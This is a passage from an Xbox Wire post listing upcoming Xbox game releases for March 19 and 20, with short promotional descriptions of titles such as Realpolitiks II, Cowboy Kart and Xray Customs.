Ultimate Games S.A.

Realpolitiks II – March 19
Optimized for Xbox Series X|S

Realpolitiks II is a grand strategy game where you lead a modern nation, managing its economy, diplomacy, espionage, and military while facing global threats like terrorism, pandemics, and famine. Build your country, shape its political system, command armies in land, sea, and air battles, and use diplomacy or covert actions to secure your path to world dominance.


The Coin Game

Kwalee

The Coin Game – March 19
Optimized for Xbox Series X|S

The Coin Game is a fun-filled arcade adventure on an island packed with ticket games, quirky robots, and endless activities. Explore realistic arcades with machines inspired by modern favorites and swap your tickets for prizes at redemption areas.


Battle Puzzle 2048 – Maidens of Steel

EpiXR Games

$2.99

Battle Puzzle 2048 – Maidens of Steel – March 20
Optimized for Xbox Series X|S

Battle Puzzle 2048 – Maidens of Steel brings a fierce twist to the classic 2048 puzzle game! Slide tiles to combine matching numbers, unleash devastating combos, and clash with a striking lineup of anime warriors and heavily armored battle maidens. Each opponent has her own tactical skillset—some block tiles, others absorb attacks, while a few unleash chaotic battlefield effects.


Xbox Play Anywhere

Cowboy Kart

Cascadia Games LLC

$9.99

Cowboy Kart – March 20
Optimized for Xbox Series X|S / Xbox Play Anywhere / Smart Delivery / Handheld Optimized

Giddyup and get ready for some cowboy kart racing, ya’ll! It’s old school racing in the old west. Hurl horseshoes, drop cow-pies, and toss some TNT in this wily and wild game from the ’90s…. the 1890s that is… with supports for up to four players via split-screen.


Xbox Play Anywhere

Hoof and Seek

Everynot Games Studio

Hoof & Seek – March 20
Optimized for Xbox Series X|S / Smart Delivery / Xbox Play Anywhere

Hoof & Seek is a relaxed hidden-object game set on a charming farm. Each level takes place on a single screen filled with barns, trees, fences, and other farm scenery. Somewhere in each scene, farm animals are carefully hidden. Your goal is to observe the environment, search every corner, and find them all.


Kuky Adventure

Magnific Studios

Kuky Adventure – March 20

Help Kuky, a curious character who gets lost in the Candy World and must travel through colorful environments to find the way back home. During the journey, collect candies and face strange sugar-made enemies such as marshmallows, cookies, and other living, dangerous sweets.


Xbox Play Anywhere

Machine Gun Fury

ESDigital Games

Machine Gun Fury – March 20
Optimized for Xbox Series X|S / Smart Delivery / Xbox Play Anywhere

When tyranny takes control… someone must pull the trigger. Machine Gun Fury is a bold revival of the classic arcade military shooter — no cover systems, no moral debates, just pure reflex-driven carnage. It’s you, your trigger finger, and a limited supply of grenades against entire armies. If you grew up blasting through classic arcade games, welcome back to the frontline, soldier.


Moto Rush Reborn

Baltoro Games

Moto Rush Reborn – March 20
Optimized for Xbox Series X|S / Smart Delivery

Rip through retro-futuristic Tokyo highways in a demonic pursuit of speed and power! Lane split through heavy traffic and dominate tracks filled with obstacles on an action-packed mission to overcome possession. Uncover the truth behind your curse through scattered collectible manga pages. Are you fast enough to outrun your demons?


Xbox Play Anywhere

Only Up Rush

NOSTRA GAMES LTD

Only Up Rush – March 20
Optimized for Xbox Series X|S / Xbox Play Anywhere

Push your skills to the limit to reach the highest point in the world. Only the chosen ones can taste the thrill of victory, standing on the edge and admiring the Earth below. Jump, parkour and compete against yourself in thousands of meters of tough challenges. Race the clock, beat it, break records and reach unprecedented heights! The only rule is not to fall!


Word Quest Space

Gametry LLC

Word Quest Space – March 20

Blast off into an intergalactic word search experience in Word Quest: Space. Explore distant galaxies and solve glowing puzzles filled with cosmic secrets. Connect letters, discover hidden words, and journey through planets, asteroids, and nebulae in your quest for knowledge among the stars. Every puzzle completed takes you deeper into the universe — can you conquer the cosmos one word at a time?


Xray Customs

Jolly Lobster Interactive

Xray Customs – March 20
Optimized for Xbox Series X|SXray Customs puts you in the role of a customs inspector with one clear responsibility: don’t let anything dangerous slip through. Using an Xray scanner, you search through bags, spot prohibited items, and clear each checkpoint by finding everything that doesn’t belong. Whether you prefer a calm, methodical experience or the thrill of racing against the clock, Xray Customs rewards sharp eyes and attention to detail. It’s easy to pick up, satisfying to master, and turns the simple act of scanning luggage into an engaging and addictive puzzle challenge.


The post Next Week on Xbox: New Games for March 16 to 20 appeared first on Xbox Wire.